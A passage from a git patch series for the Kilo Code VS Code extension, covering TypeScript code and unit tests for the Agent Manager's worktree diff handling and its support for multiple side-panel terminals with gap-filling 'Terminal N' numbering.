= diffs.map((diff) => diff.file) + if (files.length === 0) { + if (!touched) setApplySelectedFiles([]) + return + } + + if (!touched) { + setApplySelectedFiles(files) + return + } + + const current = applySelectedFiles() + const set = new Set(current) + const next = files.filter((file) => set.has(file)) + const same = next.length === current.length && next.every((file, index) => file === current[index]) + if (!same) setApplySelectedFiles(next) + }, + ), + ) + + // Drop apply state for worktrees that no longer exist, and close a dialog + // whose target disappeared. + createEffect(() => { + const ids = new Set(worktrees().map((wt) => wt.id)) + setApplyStates((prev) => { + const next = Object.fromEntries(Object.entries(prev).filter(([id]) => ids.has(id))) + if (Object.keys(next).length === Object.keys(prev).length) return prev + return next + }) + + const target = applyTarget() + if (target && !ids.has(target)) closeApplyDialog() + }) + + // Backend `applyWorktreeDiffResult` message: record the new status and toast. + const onApplyResult = (ev: AgentManagerApplyWorktreeDiffResultMessage) => { + const files = new Set((ev.conflicts ?? []).map((entry) => entry.file).filter(Boolean)).size + const count = ev.conflicts?.length ?? 0 + setApplyStates((prev) => ({ + ...prev, + [ev.worktreeId]: { + status: ev.status, + message: ev.message, + conflicts: ev.conflicts ?? [], + }, + })) + + if (ev.status === "success") { + showToast({ variant: "success", title: t("agentManager.apply.success"), description: ev.message }) + if (applyTarget() === ev.worktreeId) closeApplyDialog() + } + if (ev.status === "conflict") { + const summary = + count > 0 ? t("agentManager.apply.conflictToast", { count, files: Math.max(files, 1) }) : ev.message + showToast({ variant: "error", title: t("agentManager.apply.conflict"), description: summary }) + } + if (ev.status === "error") { + showToast({ variant: "error", title: t("agentManager.apply.error"), description: ev.message }) + } + } + + return { + applyBusyForSelection, + openApplyDialog, + onApplyResult, + } +} diff --git a/packages/kilo-vscode/webview-ui/agent-manager/worktree-diffs.ts b/packages/kilo-vscode/webview-ui/agent-manager/worktree-diffs.ts new file mode 100644 index 0000000000..fd56c87167 --- /dev/null +++ b/packages/kilo-vscode/webview-ui/agent-manager/worktree-diffs.ts @@ -0,0 +1,118 @@ +/** + * Worktree diff data for Agent Manager. + * + * Owns the per-session diff map, the panel loading flag, and the per-file + * pending set, plus the backend message handlers that fill them and the + * helpers that request individual files. Extracted from `AgentManagerApp.tsx` + * so the app component only routes the diff messages and reads the signals. + */ + +import { createSignal, type Accessor } from "solid-js" +import { mergeWorktreeDiffs } from "../diff-viewer/diff-state" +import type { useVSCode } from "../src/context/vscode" +import type { + AgentManagerWorktreeDiffFileMessage, + AgentManagerWorktreeDiffLoadingMessage, + AgentManagerWorktreeDiffMessage, + WorktreeFileDiff, +} from "../src/types/messages" + +export function createWorktreeDiffs(vscode: ReturnType) { + const [diffDatas, setDiffDatas] = createSignal>({}) + const [diffLoading, setDiffLoading] = createSignal(false) + const [diffFileLoading, setDiffFileLoading] = createSignal>>({}) + + const setDiffFilePending = (sessionId: string, file: string, value: boolean) => { + setDiffFileLoading((prev) => { + const session = prev[sessionId] ?? {} + if (value) { + if (session[file]) return prev + return { + ...prev, + [sessionId]: { ...session, [file]: true }, + } + } + + if (!session[file]) return prev + const next = { ...session } + delete next[file] + if (Object.keys(next).length === 0) { + const result = { ...prev } + delete result[sessionId] + return result + } + return { + ...prev, + [sessionId]: next, + } + }) + } + + /** Lazily load a single file's full diff for the current session. */ + const requestDiffFile = (sessionId: string, file: string) => { + if (diffFileLoading()[sessionId]?.[file]) return + setDiffFilePending(sessionId, file, true) + vscode.postMessage({ type: "agentManager.requestWorktreeDiffFile", sessionId, file }) + } + + /** Files the backend flagged as stale in a merged update need a fresh fetch. */ + const refreshStaleDiffs = (sessionId: string, files: Set) => { + const loading = diffFileLoading()[sessionId] ?? {} + for (const file of files) { + if (loading[file]) continue + setDiffFilePending(sessionId, file, true) + vscode.postMessage({ type: "agentManager.requestWorktreeDiffFile", sessionId, file }) + } + } + + /** Files currently being fetched for a session, for per-file spinners. */ + const diffFileLoadingFor = (sessionId: Accessor) => { + const id = sessionId() + if (!id) return new Set() + return new Set(Object.keys(diffFileLoading()[id] ?? {})) + } + + // Backend messages. + + const onWorktreeDiff = (ev: AgentManagerWorktreeDiffMessage) => { + let staleFiles: Set | undefined + setDiffDatas((prev) => { + const existing = prev[ev.sessionId] + const merged = existing ? mergeWorktreeDiffs(existing, ev.diffs) : { diffs: ev.diffs, stale: new Set() } + staleFiles = merged.stale + const next = merged.diffs + if (existing && existing.length === next.length && existing.every((old, i) => old === next[i])) return prev + return { ...prev, [ev.sessionId]: next } + }) + if (staleFiles) refreshStaleDiffs(ev.sessionId, staleFiles) + } + + const onWorktreeDiffFile = (ev: AgentManagerWorktreeDiffFileMessage) => { + if (ev.diff) { + setDiffDatas((prev) => { + const existing = prev[ev.sessionId] ?? [] + const next = existing.map((item) => (item.file === ev.diff!.file ? ev.diff! : item)) + return { ...prev, [ev.sessionId]: next } + }) + setDiffFilePending(ev.sessionId, ev.diff.file, false) + return + } + setDiffFilePending(ev.sessionId, ev.file, false) + } + + const onWorktreeDiffLoading = (ev: AgentManagerWorktreeDiffLoadingMessage) => { + setDiffLoading(ev.loading) + } + + return { + diffDatas, + diffLoading, + setDiffLoading, + requestDiffFile, + refreshStaleDiffs, + diffFileLoadingFor, + onWorktreeDiff, + onWorktreeDiffFile, + onWorktreeDiffLoading, + } +} From 23039c0fb1e5b32704119ddde10a6a28ccd6bff3 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 11:06:09 +0200 Subject: [PATCH 020/100] feat(agent-manager): support multiple side-panel terminals (#12633) * feat(agent-manager): support multiple side-panel terminals Add a terminal tab strip to the side panel header so a context can own several side terminals: click to switch, drag to reorder, X to close a single terminal, + to open another one. The strip reuses the top tab bar's TerminalTabChrome and solid-dnd stack (with a width-pinned DragOverlay so drags track the cursor without offset). Terminal numbers fill gaps left by closed terminals, and tabs pick up live titles from OSC escape codes so the shell or running program names its own tab. Closes #12597 * fix(agent-manager): address side terminal strip review findings Split the strip into a scrollable tab list and a fixed add-button area (mirroring .am-tab-list-wrap / .am-tab-add-wrap) so the + action never scrolls away, and scope role=tablist to the tab list so axe aria-required-children passes on the empty strip. Validate closeSide targets a live side terminal before mutating state, so a stray non-side id can no longer drop a record while leaking its backend PTY. Give SortableTabContainer a class prop and reuse it for side tabs instead of a duplicated sortable wrapper. --- .changeset/multi-side-terminals.md | 5 + bun.lock | 2 +- .../src/agent-manager/terminal-manager.ts | 10 + .../src/agent-manager/terminal-routing.ts | 48 +++- .../agent-manager-terminal-routing.test.ts | 130 ++++++++- .../unit/agent-manager-terminal-side.test.ts | 33 +-- .../unit/agent-manager-terminal-state.test.ts | 212 +++++++++++---- .../tests/visual-regression.spec.mts | 3 + .../tests/visual-regression.spec.ts | 3 + .../agent-manager/AgentManagerApp.tsx | 18 +- .../agent-manager/agent-manager.css | 53 ++++ .../webview-ui/agent-manager/i18n/ar.ts | 2 +- .../webview-ui/agent-manager/i18n/br.ts | 2 +- .../webview-ui/agent-manager/i18n/bs.ts | 2 +- .../webview-ui/agent-manager/i18n/da.ts | 2 +- .../webview-ui/agent-manager/i18n/de.ts | 2 +- .../webview-ui/agent-manager/i18n/en.ts | 2 +- .../webview-ui/agent-manager/i18n/es.ts | 2 +- .../webview-ui/agent-manager/i18n/fr.ts | 2 +- .../webview-ui/agent-manager/i18n/it.ts | 2 +- .../webview-ui/agent-manager/i18n/ja.ts | 2 +- .../webview-ui/agent-manager/i18n/ko.ts | 2 +- .../webview-ui/agent-manager/i18n/nl.ts | 2 +- .../webview-ui/agent-manager/i18n/no.ts | 2 +- .../webview-ui/agent-manager/i18n/pl.ts | 2 +- .../webview-ui/agent-manager/i18n/ru.ts | 2 +- .../webview-ui/agent-manager/i18n/th.ts | 2 +- .../webview-ui/agent-manager/i18n/tr.ts | 2 +- .../webview-ui/agent-manager/i18n/uk.ts | 2 +- .../webview-ui/agent-manager/i18n/zh.ts | 2 +- .../webview-ui/agent-manager/i18n/zht.ts | 2 +- .../terminal/SideTerminalPanel.tsx | 128 +++++++-- .../terminal/SortableTerminalTab.tsx | 134 +++++---- .../agent-manager/terminal/TerminalTab.tsx | 10 + .../agent-manager/terminal/render.tsx | 16 +- .../webview-ui/agent-manager/terminal/side.ts | 20 +- .../agent-manager/terminal/state.ts | 255 +++++++++++++----- .../webview-ui/src/components/chat/TabDnd.tsx | 4 +- .../src/stories/agent-manager.stories.tsx | 47 +++- 39 files changed, 913 insertions(+), 258 deletions(-) create mode 100644 .changeset/multi-side-terminals.md diff --git a/.changeset/multi-side-terminals.md b/.changeset/multi-side-terminals.md new file mode 100644 index 0000000000..8b54a390d9 --- /dev/null +++ b/.changeset/multi-side-terminals.md @@ -0,0 +1,5 @@ +--- +"kilo-code": minor +--- + +Support multiple Agent Manager side-panel terminals per context. The panel header is now a tab strip that reuses the main tab bar's terminal tabs: click to switch, drag to reorder, X to close a single terminal, and + to open another one. Terminal numbers fill gaps left by closed terminals, and tabs pick up the live title from the shell or running program (OSC escape codes), so a dev server or build names its own tab. diff --git a/bun.lock b/bun.lock index fd599605c4..d22f4822ab 100644 --- a/bun.lock +++ b/bun.lock @@ -305,7 +305,7 @@ }, "packages/kilo-jetbrains": { "name": "@kilocode/kilo-jetbrains", - "version": "7.4.15", + "version": "7.4.16", }, "packages/kilo-memory": { "name": "@kilocode/kilo-memory", diff --git a/packages/kilo-vscode/src/agent-manager/terminal-manager.ts b/packages/kilo-vscode/src/agent-manager/terminal-manager.ts index c1662d92b3..9f3d030728 100644 --- a/packages/kilo-vscode/src/agent-manager/terminal-manager.ts +++ b/packages/kilo-vscode/src/agent-manager/terminal-manager.ts @@ -113,6 +113,16 @@ export class TerminalManager { } } + /** Titles of every live terminal in a context — used by the router to + * pick the lowest free "Terminal N" ordinal. */ + titles(worktreeId: string | null): string[] { + const out: string[] = [] + for (const entry of this.entries.values()) { + if (entry.worktreeId === worktreeId) out.push(entry.title) + } + return out + } + /** Kill a single terminal. Best-effort — we always drop our bookkeeping. * The SDK's `pty.remove` returns `{ data, error }` without throwing * on 4xx/5xx, so we have to check `error` ourselves; otherwise a diff --git a/packages/kilo-vscode/src/agent-manager/terminal-routing.ts b/packages/kilo-vscode/src/agent-manager/terminal-routing.ts index 3fef7352ed..6ca6491c7a 100644 --- a/packages/kilo-vscode/src/agent-manager/terminal-routing.ts +++ b/packages/kilo-vscode/src/agent-manager/terminal-routing.ts @@ -55,7 +55,9 @@ function isTerminalMessage( export class TerminalRouter { private manager: TerminalManager - private readonly ordinals = new Map() + /** Ordinals reserved by in-flight creates, per context — prevents two + * concurrent creates from grabbing the same "Terminal N" title. */ + private readonly reserved = new Map>() private generation = 0 constructor(private readonly deps: TerminalRoutingDeps) { @@ -102,6 +104,7 @@ export class TerminalRouter { this.generation++ const manager = this.manager this.manager = this.createManager() + this.reserved.clear() return manager.dispose() } @@ -119,7 +122,8 @@ export class TerminalRouter { }) return } - const title = `Terminal ${this.nextOrdinal(worktreeId)}` + const ordinal = this.reserveOrdinal(worktreeId) + const title = `Terminal ${ordinal}` try { // Join the shared backend connection instead of racing its synchronous // client accessor when this is the first Kilo action in the window. @@ -144,6 +148,11 @@ export class TerminalRouter { const message = err instanceof Error ? err.message : String(err) this.deps.log(`Terminal create failed: ${message}`) this.deps.post({ type: "agentManager.terminal.error", createId, message }) + } finally { + // Only a current-generation create may release: dispose() already + // cleared this create's reservation, and releasing here would + // delete a *new* panel's reservation for the same number. + if (generation === this.generation) this.releaseOrdinal(worktreeId, ordinal) } } @@ -161,15 +170,40 @@ export class TerminalRouter { return this.deps.getWorktreePath(worktreeId) } - /** Per-context counter so default titles are "Terminal 1", "Terminal 2"… - * Not persisted; a webview reload resets counts. */ - private nextOrdinal(worktreeId: string | null): number { + /** + * Pick the lowest "Terminal N" ordinal not used by a live terminal or + * an in-flight create in this context, and reserve it until the + * create settles. Gap-filling keeps numbering consistent: closing + * "Terminal 1" of three frees 1 for the next terminal, instead of + * drifting to ever-higher numbers. Not persisted; a webview reload + * resets the live set. + */ + private reserveOrdinal(worktreeId: string | null): number { const key = worktreeId ?? "__local__" - const next = (this.ordinals.get(key) ?? 0) + 1 - this.ordinals.set(key, next) + const used = new Set() + for (const title of this.manager.titles(worktreeId)) { + const match = /^Terminal (\d+)$/.exec(title) + if (match) used.add(Number(match[1])) + } + const pending = this.reserved.get(key) + if (pending) for (const n of pending) used.add(n) + let next = 1 + while (used.has(next)) next++ + const set = pending ?? new Set() + set.add(next) + this.reserved.set(key, set) return next } + /** Return an in-flight create's reservation. */ + private releaseOrdinal(worktreeId: string | null, ordinal: number) { + const key = worktreeId ?? "__local__" + const set = this.reserved.get(key) + if (!set) return + set.delete(ordinal) + if (set.size === 0) this.reserved.delete(key) + } + /** * Build the WebSocket URL for a given PTY. * diff --git a/packages/kilo-vscode/tests/unit/agent-manager-terminal-routing.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-terminal-routing.test.ts index ffa58bd6db..ef9bfcd6c4 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-terminal-routing.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-terminal-routing.test.ts @@ -111,6 +111,134 @@ describe("Agent Manager terminal routing", () => { expect(removed).toContain("pty-new") }) + it("fills numbering gaps left by closed terminals", async () => { + const messages: AgentManagerOutMessage[] = [] + const titles: string[] = [] + let seq = 0 + const client = { + pty: { + create: async ({ title }: { title: string }) => { + titles.push(title) + seq++ + return { data: { id: `pty-${seq}`, title } } + }, + remove: async () => ({ data: true }), + update: async () => ({ data: true }), + }, + } as unknown as KiloClient + const router = new TerminalRouter({ + getClient: () => client, + getClientAsync: async () => client, + getServerConfig: () => ({ baseUrl: "http://127.0.0.1:4096", password: "secret" }), + getRoot: () => "/workspace", + getWorktreePath: () => undefined, + log: () => undefined, + post: (message) => messages.push(message), + getTerminalFont: () => font, + }) + const create = (createId: string) => + router.handle({ type: "agentManager.terminal.create", createId, placement: "side", worktreeId: null }) + + create("one") + await wait() + create("two") + await wait() + expect(titles).toEqual(["Terminal 1", "Terminal 2"]) + + // Close "Terminal 1"; the next create reuses the freed number. + const first = messages.find((m) => m.type === "agentManager.terminal.created" && m.createId === "one") + if (first?.type !== "agentManager.terminal.created") throw new Error("missing created message") + router.handle({ type: "agentManager.terminal.close", terminalId: first.terminalId }) + await wait() + + create("three") + await wait() + expect(titles).toEqual(["Terminal 1", "Terminal 2", "Terminal 1"]) + await router.dispose() + }) + + it("hands out distinct numbers to concurrent creates", async () => { + const messages: AgentManagerOutMessage[] = [] + const titles: string[] = [] + const resolvers: Array<(value: { data: { id: string; title: string } }) => void> = [] + const client = { + pty: { + create: ({ title }: { title: string }) => + new Promise<{ data: { id: string; title: string } }>((resolve) => { + titles.push(title) + resolvers.push(resolve) + }), + remove: async () => ({ data: true }), + update: async () => ({ data: true }), + }, + } as unknown as KiloClient + const router = new TerminalRouter({ + getClient: () => client, + getClientAsync: async () => client, + getServerConfig: () => ({ baseUrl: "http://127.0.0.1:4096", password: "secret" }), + getRoot: () => "/workspace", + getWorktreePath: () => undefined, + log: () => undefined, + post: (message) => messages.push(message), + getTerminalFont: () => font, + }) + + // Two creates before either settles must not share an ordinal. The + // backend-connection await defers the PTY creates to a microtask. + router.handle({ type: "agentManager.terminal.create", createId: "a", placement: "side", worktreeId: null }) + router.handle({ type: "agentManager.terminal.create", createId: "b", placement: "side", worktreeId: null }) + await wait() + expect(titles).toEqual(["Terminal 1", "Terminal 2"]) + resolvers[0]?.({ data: { id: "pty-a", title: titles[0]! } }) + resolvers[1]?.({ data: { id: "pty-b", title: titles[1]! } }) + await wait() + + // A failed create releases its reservation for the next attempt. + await router.dispose() + }) + + it("does not let a stale create release a new generation's reservation", async () => { + const titles: string[] = [] + const resolvers: Array<(value: { data: { id: string; title: string } }) => void> = [] + const client = { + pty: { + create: ({ title }: { title: string }) => + new Promise<{ data: { id: string; title: string } }>((resolve) => { + titles.push(title) + resolvers.push(resolve) + }), + remove: async () => ({ data: true }), + update: async () => ({ data: true }), + }, + } as unknown as KiloClient + const router = new TerminalRouter({ + getClient: () => client, + getClientAsync: async () => client, + getServerConfig: () => ({ baseUrl: "http://127.0.0.1:4096", password: "secret" }), + getRoot: () => "/workspace", + getWorktreePath: () => undefined, + log: () => undefined, + post: () => undefined, + getTerminalFont: () => font, + }) + + // Create A starts before the panel is recreated; its reservation dies + // with dispose(). Create B of the new generation reserves the same + // free number. When A's late completion settles, its release must not + // wipe B's reservation — otherwise create C would duplicate B's title. + router.handle({ type: "agentManager.terminal.create", createId: "a", placement: "side", worktreeId: null }) + await router.dispose() + router.handle({ type: "agentManager.terminal.create", createId: "b", placement: "side", worktreeId: null }) + await wait() + expect(titles).toEqual(["Terminal 1", "Terminal 1"]) + resolvers[0]?.({ data: { id: "pty-a", title: titles[0]! } }) + await wait() + router.handle({ type: "agentManager.terminal.create", createId: "c", placement: "side", worktreeId: null }) + await wait() + expect(titles).toEqual(["Terminal 1", "Terminal 1", "Terminal 2"]) + await router.dispose() + }) + it("awaits the shared backend connection before creating a terminal", async () => { let connected = false const client = { @@ -120,6 +248,7 @@ describe("Agent Manager terminal routing", () => { update: async () => ({ data: true }), }, } as unknown as KiloClient + const messages: AgentManagerOutMessage[] = [] const router = new TerminalRouter({ getClient: () => { if (!connected) throw new Error("Not connected") @@ -138,7 +267,6 @@ describe("Agent Manager terminal routing", () => { getTerminalFont: () => font, }) - const messages: AgentManagerOutMessage[] = [] router.handle({ type: "agentManager.terminal.create", createId: "real", diff --git a/packages/kilo-vscode/tests/unit/agent-manager-terminal-side.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-terminal-side.test.ts index 831e2c187b..9a071e5c15 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-terminal-side.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-terminal-side.test.ts @@ -10,12 +10,12 @@ function scene( destination?: "vscode" | "agentManager" saved?: "vscode" | "agentManager" visible?: boolean - focused?: boolean + focusedId?: string } = {}, ) { const calls = { requestSide: 0, - closeSide: 0, + closed: [] as string[], hide: 0, refocus: 0, openVscode: 0, @@ -24,21 +24,21 @@ function scene( tracked: [] as string[], } let visible = opts.visible ?? false - let focused = opts.focused ?? false + let focusedId = opts.focusedId as string | undefined const ctl = createSideTerminal({ handlers: { requestSide: () => { calls.requestSide++ visible = true }, - closeSide: () => { - calls.closeSide++ - visible = false + closeSide: (terminalId) => { + calls.closed.push(terminalId) + focusedId = undefined return true }, }, visible: () => visible, - focused: () => focused, + focusedId: () => focusedId, hide: () => { calls.hide++ visible = false @@ -56,12 +56,12 @@ function scene( describe("Agent Manager side terminal controller", () => { it("toggles the panel and hands focus to the chat only when the terminal had it", () => { - const focused = scene({ destination: "agentManager", visible: true, focused: true }) + const focused = scene({ destination: "agentManager", visible: true, focusedId: "terminal:side" }) focused.ctl.toggle() expect(focused.calls.hide).toBe(1) expect(focused.calls.refocus).toBe(1) - const elsewhere = scene({ destination: "agentManager", visible: true, focused: false }) + const elsewhere = scene({ destination: "agentManager", visible: true }) elsewhere.ctl.toggle() expect(elsewhere.calls.hide).toBe(1) expect(elsewhere.calls.refocus).toBe(0) @@ -72,15 +72,18 @@ describe("Agent Manager side terminal controller", () => { expect(hidden.calls.hide).toBe(0) }) - it("refocuses the chat after killing a focused terminal, not otherwise", () => { - const focused = scene({ focused: true }) + it("kills the focused terminal and refocuses the chat", () => { + const focused = scene({ focusedId: "terminal:two" }) expect(focused.ctl.close()).toBe(true) - expect(focused.calls.closeSide).toBe(1) + expect(focused.calls.closed).toEqual(["terminal:two"]) expect(focused.calls.refocus).toBe(1) + }) - const elsewhere = scene({ focused: false }) - expect(elsewhere.ctl.close()).toBe(true) - expect(elsewhere.calls.refocus).toBe(0) + it("does nothing on close without a focused terminal", () => { + const item = scene() + expect(item.ctl.close()).toBe(false) + expect(item.calls.closed).toEqual([]) + expect(item.calls.refocus).toBe(0) }) it("routes the primary action by destination", () => { diff --git a/packages/kilo-vscode/tests/unit/agent-manager-terminal-state.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-terminal-state.test.ts index 432eed1fb6..db0acb769f 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-terminal-state.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-terminal-state.test.ts @@ -14,7 +14,7 @@ function scene(initial: string | null = LOCAL) { const [selection, setSelection] = createSignal(initial) const state = createTerminalState(selection) const posted: Array> = [] - const events = { activated: [] as string[], selected: [] as string[], saved: 0, shown: [] as string[], hidden: 0 } + const events = { activated: [] as string[], selected: [] as string[], saved: 0, shown: [] as string[], errors: 0 } const tabs = () => state.current().map((term) => term.id) const handlers = createTerminalHandlers({ state, @@ -27,7 +27,6 @@ function scene(initial: string | null = LOCAL) { findTab: () => undefined, postMessage: (message) => posted.push(message as Record), onShowSide: (key) => events.shown.push(key), - onHideSide: () => events.hidden++, getSelection: selection, LOCAL, REVIEW_TAB_ID: "review", @@ -40,12 +39,25 @@ function scene(initial: string | null = LOCAL) { events.selected.push(value) setSelection(value) }, - showError: () => undefined, + showError: () => events.errors++, postMessage: (message) => posted.push(message as Record), }) return { state, selection, setSelection, posted, events, handlers, dispatch } } +function createdSide(createId: string, terminalId: string, title = "Terminal 1") { + return { + type: "agentManager.terminal.created", + createId, + placement: "side", + worktreeId: null, + terminalId, + title, + wsUrl: `ws://${terminalId}`, + font, + } satisfies ExtensionMessage +} + describe("Agent Manager terminal state", () => { it("keeps side terminals out of the tab state and shares root context with unassigned sessions", () => { createRoot((dispose) => { @@ -64,21 +76,22 @@ describe("Agent Manager terminal state", () => { font, placement: "side", }) + item.state.setSideActive(LOCAL, "terminal:side") expect(item.state.current().map((term) => term.id)).toEqual(["terminal:tab"]) expect(item.state.all().map((term) => term.id)).toEqual(["terminal:tab"]) expect(item.state.sides().map((term) => term.id)).toEqual(["terminal:side"]) - expect(item.state.side()?.id).toBe("terminal:side") + expect(item.state.sideActiveFor(LOCAL)).toBe("terminal:side") item.setSelection(null) expect(item.state.current()).toEqual([]) expect(item.state.sideKey()).toBe(LOCAL) - expect(item.state.side()?.id).toBe("terminal:side") + expect(item.state.sideActiveFor(LOCAL)).toBe("terminal:side") dispose() }) }) - it("deduplicates side creation and reuses the terminal without tab side effects", () => { + it("deduplicates an in-flight reveal and focuses the active terminal on repeat", () => { createRoot((dispose) => { const item = scene() item.handlers.requestSide() @@ -88,18 +101,8 @@ describe("Agent Manager terminal state", () => { const request = item.posted[0]! expect(request).toMatchObject({ type: "agentManager.terminal.create", placement: "side", worktreeId: null }) const createId = String(request.createId) - const created = { - type: "agentManager.terminal.created", - createId, - placement: "side", - worktreeId: null, - terminalId: "terminal:side", - title: "Terminal 1", - wsUrl: "ws://side", - font, - } satisfies ExtensionMessage - expect(item.dispatch(created)).toBe(true) - expect(item.state.side()?.id).toBe("terminal:side") + expect(item.dispatch(createdSide(createId, "terminal:side"))).toBe(true) + expect(item.state.sideActiveFor(LOCAL)).toBe("terminal:side") expect(item.events.activated).toEqual([]) expect(item.events.selected).toEqual([]) expect(item.events.saved).toBe(0) @@ -111,6 +114,74 @@ describe("Agent Manager terminal state", () => { }) }) + it("supports several side terminals per context with newest active", () => { + createRoot((dispose) => { + const item = scene() + item.handlers.addSide() + item.handlers.addSide() + expect(item.posted).toHaveLength(2) + const first = String(item.posted[0]!.createId) + const second = String(item.posted[1]!.createId) + + item.dispatch(createdSide(first, "terminal:one", "Terminal 1")) + expect(item.state.sidesForContext(LOCAL).map((term) => term.id)).toEqual(["terminal:one"]) + expect(item.state.sideActiveFor(LOCAL)).toBe("terminal:one") + + item.dispatch(createdSide(second, "terminal:two", "Terminal 2")) + expect(item.state.sidesForContext(LOCAL).map((term) => term.id)).toEqual(["terminal:one", "terminal:two"]) + expect(item.state.sideActiveFor(LOCAL)).toBe("terminal:two") + dispose() + }) + }) + + it("switches the active side terminal on select", () => { + createRoot((dispose) => { + const item = scene() + item.state.add(null, { id: "terminal:one", title: "Terminal 1", wsUrl: "ws://one", font, placement: "side" }) + item.state.add(null, { id: "terminal:two", title: "Terminal 2", wsUrl: "ws://two", font, placement: "side" }) + item.state.setSideActive(LOCAL, "terminal:two") + + item.handlers.selectSide("terminal:one") + expect(item.state.sideActiveFor(LOCAL)).toBe("terminal:one") + expect(item.state.focusRequest()?.id).toBe("terminal:one") + dispose() + }) + }) + + it("moves activation to the last remaining side terminal on close", () => { + createRoot((dispose) => { + const item = scene() + item.state.add(null, { id: "terminal:one", title: "Terminal 1", wsUrl: "ws://one", font, placement: "side" }) + item.state.add(null, { id: "terminal:two", title: "Terminal 2", wsUrl: "ws://two", font, placement: "side" }) + item.state.setSideActive(LOCAL, "terminal:two") + + expect(item.handlers.closeSide("terminal:two")).toBe(true) + expect(item.state.sideActiveFor(LOCAL)).toBe("terminal:one") + expect(item.posted).toEqual([{ type: "agentManager.terminal.close", terminalId: "terminal:two" }]) + + expect(item.handlers.closeSide("terminal:one")).toBe(true) + expect(item.state.sideActiveFor(LOCAL)).toBeUndefined() + expect(item.state.sidesForContext(LOCAL)).toEqual([]) + + // Closing an unknown or non-side id is a no-op. + expect(item.handlers.closeSide("terminal:gone")).toBe(false) + expect(item.posted).toHaveLength(2) + dispose() + }) + }) + + it("closes a stale side answer whose create request is unknown", () => { + createRoot((dispose) => { + const item = scene() + // A created message for a createId the webview never sent (e.g. it + // reloaded while the PTY was starting) must not leak the PTY. + item.dispatch(createdSide("stale-id", "terminal:stale")) + expect(item.state.sidesForContext(LOCAL)).toEqual([]) + expect(item.posted).toEqual([{ type: "agentManager.terminal.close", terminalId: "terminal:stale" }]) + dispose() + }) + }) + it("creates explicit terminal tabs independently of the side destination", () => { createRoot((dispose) => { const item = scene("wt-1") @@ -124,44 +195,91 @@ describe("Agent Manager terminal state", () => { }) }) - it("cancels a side terminal that is still starting", () => { + it("routes side creates of a worktree context to that worktree", () => { createRoot((dispose) => { - const item = scene() - item.handlers.requestSide() - const request = item.posted[0]! - expect(item.handlers.closeSide()).toBe(true) - expect(item.state.pendingSide(LOCAL)).toBeUndefined() - - item.dispatch({ - type: "agentManager.terminal.created", - createId: String(request.createId), + const item = scene("wt-1") + item.handlers.addSide() + expect(item.posted[0]).toMatchObject({ + type: "agentManager.terminal.create", placement: "side", - worktreeId: null, - terminalId: "terminal:late", - title: "Terminal 1", - wsUrl: "ws://late", - font, + worktreeId: "wt-1", }) - expect(item.state.side()).toBeUndefined() - expect(item.posted.at(-1)).toEqual({ type: "agentManager.terminal.close", terminalId: "terminal:late" }) dispose() }) }) - it("closes a side terminal without changing the active chat tab", () => { + it("tracks OSC titles per terminal without touching the terminal records", () => { createRoot((dispose) => { const item = scene() - item.state.add(null, { - id: "terminal:side", - title: "Terminal 1", - wsUrl: "ws://side", - font, - placement: "side", - }) - expect(item.handlers.closeSide()).toBe(true) - expect(item.state.side()).toBeUndefined() - expect(item.posted).toEqual([{ type: "agentManager.terminal.close", terminalId: "terminal:side" }]) - expect(item.events.hidden).toBe(1) + item.state.add(null, { id: "terminal:one", title: "Terminal 1", wsUrl: "ws://one", font, placement: "side" }) + const before = item.state.sidesForContext(LOCAL)[0]! + + item.state.setTitle("terminal:one", "npm run dev") + expect(item.state.title("terminal:one")).toBe("npm run dev") + // Reference stability: the stored record is untouched so does + // not remount the xterm instance on a title change. + expect(item.state.sidesForContext(LOCAL)[0]).toBe(before) + + // Empty titles are ignored; removal drops the override. + item.state.setTitle("terminal:one", " ") + expect(item.state.title("terminal:one")).toBe("npm run dev") + item.state.remove("terminal:one") + expect(item.state.title("terminal:one")).toBeUndefined() + dispose() + }) + }) + + it("reorders side terminals within their context via drag", () => { + createRoot((dispose) => { + const item = scene() + item.state.add(null, { id: "terminal:one", title: "Terminal 1", wsUrl: "ws://one", font, placement: "side" }) + item.state.add(null, { id: "terminal:two", title: "Terminal 2", wsUrl: "ws://two", font, placement: "side" }) + item.state.add(null, { id: "terminal:three", title: "Terminal 3", wsUrl: "ws://three", font, placement: "side" }) + item.state.add(null, { id: "terminal:tab", title: "Terminal 4", wsUrl: "ws://tab", font, placement: "tab" }) + + // Drag the first side terminal onto the third position. + expect(item.state.reorderSideDrag(LOCAL, "terminal:one", "terminal:three")).toBe(true) + expect(item.state.sidesForContext(LOCAL).map((term) => term.id)).toEqual([ + "terminal:two", + "terminal:three", + "terminal:one", + ]) + // Tab terminals are untouched. + expect(item.state.current().map((term) => term.id)).toEqual(["terminal:tab"]) + + // The order survives switching to another context and back. + item.setSelection("wt-1") + expect(item.state.sidesForContext(LOCAL).map((term) => term.id)).toEqual([ + "terminal:two", + "terminal:three", + "terminal:one", + ]) + item.setSelection(LOCAL) + expect(item.state.sidesForContext(LOCAL).map((term) => term.id)).toEqual([ + "terminal:two", + "terminal:three", + "terminal:one", + ]) + + // Unknown ids, tab-placement ids, and foreign contexts are rejected. + expect(item.state.reorderSideDrag(LOCAL, "terminal:gone", "terminal:two")).toBe(false) + expect(item.state.reorderSideDrag(LOCAL, "terminal:tab", "terminal:two")).toBe(false) + expect(item.state.reorderSideDrag("wt-1", "terminal:two", "terminal:three")).toBe(false) + dispose() + }) + }) + + it("reports the focused side terminal only for the current context", () => { + createRoot((dispose) => { + const item = scene() + item.state.add(null, { id: "terminal:side", title: "Terminal 1", wsUrl: "ws://side", font, placement: "side" }) + item.state.add(null, { id: "terminal:tab", title: "Terminal 2", wsUrl: "ws://tab", font, placement: "tab" }) + + expect(item.state.sideFocusedId()).toBeUndefined() + item.state.setFocusedId("terminal:tab") + expect(item.state.sideFocusedId()).toBeUndefined() + item.state.setFocusedId("terminal:side") + expect(item.state.sideFocusedId()).toBe("terminal:side") dispose() }) }) diff --git a/packages/kilo-vscode/tests/visual-regression.spec.mts b/packages/kilo-vscode/tests/visual-regression.spec.mts index 